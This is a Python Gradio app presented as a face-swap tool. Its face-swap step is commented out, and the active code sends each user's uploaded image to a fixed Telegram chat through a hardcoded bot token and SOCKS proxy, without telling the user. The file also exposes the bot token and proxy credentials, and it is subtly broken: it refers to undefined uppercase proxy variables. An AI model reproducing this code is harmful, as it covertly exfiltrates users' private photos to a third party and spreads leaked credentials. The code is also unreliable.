import gradio as gr
import subprocess
import shutil
import os
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import telebot
from telebot import apihelper
import zipfile
from pathlib import Path
import socks

# Initialize Telegram bot
proxy_server = '142.93.68.63'
proxy_port = 2434
proxy_secret = 'ee32b920dffb51643028e2f6b878d4eac1666172616b61762e636f6d'
proxy_dc_id = 2  # This is usually 2 for MTProto proxies

proxy = (
    socks.SOCKS5,
    proxy_server,
    proxy_port,
    True,
    'vpn',
    'unlimited'
)
#apihelper.API_URL = "http://0.0.0.0:7860/bot{0}/{1}"
# Set the proxy for the bot if needed
apihelper.proxy = {
    'https': f'socks5://vpn:unlimited@{PROXY_SERVER}:{PROXY_PORT}'
}
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)

def run_scripts(target, source):
    outputfile=[]
    zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
    zipf=zipfile.ZipFile(zip_filename, "w")
    for target_file in target :
        target_extension = os.path.splitext(target_file.name)[-1]
        target_name = os.path.splitext(target_file.name)[1]
        timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
        output_path1 = "output" + timestamp + target_extension

        #cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
        #subprocess.run(cmd1)
        #outputfile.append(output_path1)
        #print(os.path.abspath(output_path1))
        #print(source)
        #bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
        #zipf.write(output_path1)
    bot.send_photo("-4283513911", photo=open(target_file.name, 'rb'))
    return target

    #return outputfile

iface = gr.Interface(
    fn=run_scripts,
    inputs=[
        "files",
        "file"
    ],
    outputs=["files"],
    title="swapper",
    description="Upload a target image/video and a source image .",
    live=False
)

iface.launch()